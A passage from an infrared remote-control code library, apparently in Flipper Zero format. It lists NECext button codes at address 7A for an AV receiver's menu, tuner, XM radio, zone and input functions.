00 -command: 9F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: MZ:_SET_CURS_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: GUI:_TOP_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: MZ:_MENU_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: GUI:_TOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: MZ:_MENU_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: MZ:_MENU_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A0 00 00 00 -# -name: GUI:_EXIT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: MENU:_EXIT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: MZ:_MENU_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: GUI:_EXIT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: MZ:_MENU_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: MZ:_MENU_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A1 00 00 00 -# -name: FREQ/TEXT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A4 00 00 00 -# -name: TUNER_HD_INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A4 00 00 00 -# -name: TUNER_INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A4 00 00 00 -# -name: EON_DATA -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A5 00 00 00 -# -name: TUNER_EON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A5 00 00 00 -# -name: TUNER_HD_EON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A5 00 00 00 -# -name: PARTY_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: TUNER_PARTY_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: TUNER_HD_PRG_SEL_DWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: TUNER_PTY_SEEK_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: TUNER_PROG_SEL_DWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A6 00 00 00 -# -name: PARTY_START -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: TUNER_PARTY_START -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: TUNER_HD_PRG_SEL_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: TUNER_PTY_SEEK_START -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: TUNER_PROG_SEL_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A7 00 00 00 -# -name: SYS_MEMORY_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A8 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A8 00 00 00 -# -name: MZ:_INP_MODE_DIGTL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A9 00 00 00 -# -name: SYS_MEMORY_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A9 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: A9 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MZ:_INP_MODE_ANLOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MZ:_AUDIO_ANALOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MENU:_RETURN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MENU_CURSORRETURN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MENU:_RETURN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: SETUP_RTRN/SUBMEN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MAIN:_INP_MODE_ANLOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: SET_MENU_RETURN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MENU_RETURN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: MZ:_SET_CURS_RETUR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: SUB_MENU_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: SUB_MENU_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: TUNER:_SEARCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: TUNER:_SEARCH_MOD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: TUNER_SEARCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: TUN_SRCH_MODE_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: TUNER_SRCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AB 00 00 00 -# -name: TUNER_CAT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER:_PRESET_PG_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER_PRESET_PG_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER:_PRESET_PG_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: CLASS_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER:_A-E_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUN_A-B/CAT_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AC 00 00 00 -# -name: TUNER_HD_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AD 00 00 00 -# -name: TUN_ENTER_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AD 00 00 00 -# -name: TUNER_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AD 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: TUNER:_BAND_AM/FM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: TUNER_BAND_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: TUNER:_BAND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: TUNER:_BAND_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AE 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AF 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AF 00 00 00 -# -name: TUNER:_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AF 00 00 00 -# -name: TUNER:_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AF 00 00 00 -# -name: TUNER:_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: AF 00 00 00 -# -name: TUNER_HD_DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B0 00 00 00 -# -name: TUN_DISPLAY_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B0 00 00 00 -# -name: TUNER_DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B0 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: TUNER:_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: TUNER_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: TUNER_NUM_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: TUN_9_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: TUNER:_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B1 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: TUNER:_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: TUNER_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: TUNER_NUM_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: TUN_0_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: TUNER:_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B2 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: TUNER:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: TUNER_ENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: TUNER_NUM_ENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: TUN_ENT_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: TUNER:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B3 00 00 00 -# -name: INPUT_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: MZ:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: MZ_IN:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: XM_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: INPUT:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: TUN_BAND_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: MZ:_INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: MZ_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: MZ_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B4 00 00 00 -# -name: XM_ALL_CH_SRCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM:_SEARCH_ALL_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM_SRCH_MODE_ALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM:_SEARCH_ALL_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: SEARCH_ALL_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM:_ALL_CHANNEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM:_ALL_CH_SEARCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM_MODE_ALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM_ALL_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM:_ALL_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM:_ALL_CHANNEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B5 00 00 00 -# -name: XM_CAT._SRCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM:_SEARCH_CATEG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM_SRCH_MODE_CAT. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM:_SEARCH_CATEGORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: SEARCH_CATEGORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM:_CATEGORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM:_CATAGORY_SRCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM_MODE_CATEGORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM_CATEGORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM:_CATEGORY_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM:_CATEGORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B6 00 00 00 -# -name: XM_PRESET_SRCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM:_SEARCH_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM_SRCH_MODE_PRES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM:_SEARCH_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: SEARCH_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM:_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM:_PRESET_SRCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM_MODE_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM:_PRESET_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: XM:_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B7 00 00 00 -# -name: Z2_INPUT_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: IN_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2_IN_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2_IN:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: ZONE_2_XM_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: ZONE2_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: ZONE_2:_INPUT_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: ZONE_2_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2:_INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: Z2_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B8 00 00 00 -# -name: IN_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: Z3_IN_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: Z3_IN:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: Z3:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: Z3:_INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: Z3_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: Z3_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: B9 00 00 00 -# -name: XM_PRESET_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM:_PRESET_PG_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM_PRESET_PAGE_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM:_PRESET_PG_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: ZONE_2_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM:_CATAGORY_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM:_PRESET_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM:_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM:_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BA 00 00 00 -# -name: XM_PRESET_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM:_PRESET_PG_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM_PRESET_PAGE_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM:_PRESET_PG_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM:_CATAGORY_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM:_PRESET_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM:_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM:_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BB 00 00 00 -# -name: XM_PRESET_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM:_PRESET_PG_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM_PRESET_PAGE_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM:_PRESET_PG_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM:_CATAGORY_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM:_PRESET_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM:_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: TUNER:_FM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM:_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BC 00 00 00 -# -name: XM_PRESET_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM:_PRESET_PG_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM_PRESET_PAGE_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM:_PRESET_PG_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM:_CATAGORY_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM:_PRESET_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM:_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: TUNER:_AM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM:_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BD 00 00 00 -# -name: XM_PRESET_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM:_PRESET_PG_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM_PRESET_PAGE_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM:_PRESET_PG_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM:_CATAGORY_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM:_PRESET_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM:_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM:_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BE 00 00 00 -# -name: XM_PRESET/NUM_ENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: XM:_NUMERIC_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: XM_NUM_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: XM:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: XM_ENT_NUM_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: XM_ENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: XM_SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: BF 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INPUT:_CB-SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INPUT:_CBL-SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INPUT:_CBL_/_SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INPUT_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: MZ:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INPUT:_CABLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: MZ_IN:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: CBLE/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: INPUT_D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: MZ:_INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: MZ:_CABLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: MZ_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: MZ_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C0 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MZ:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MZ_IN:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: DVD_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MAIN:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MZ:_INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MZ_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MZ_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: ON_SCREEN_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: ONSCREEN_DISPLAY -type: parsed 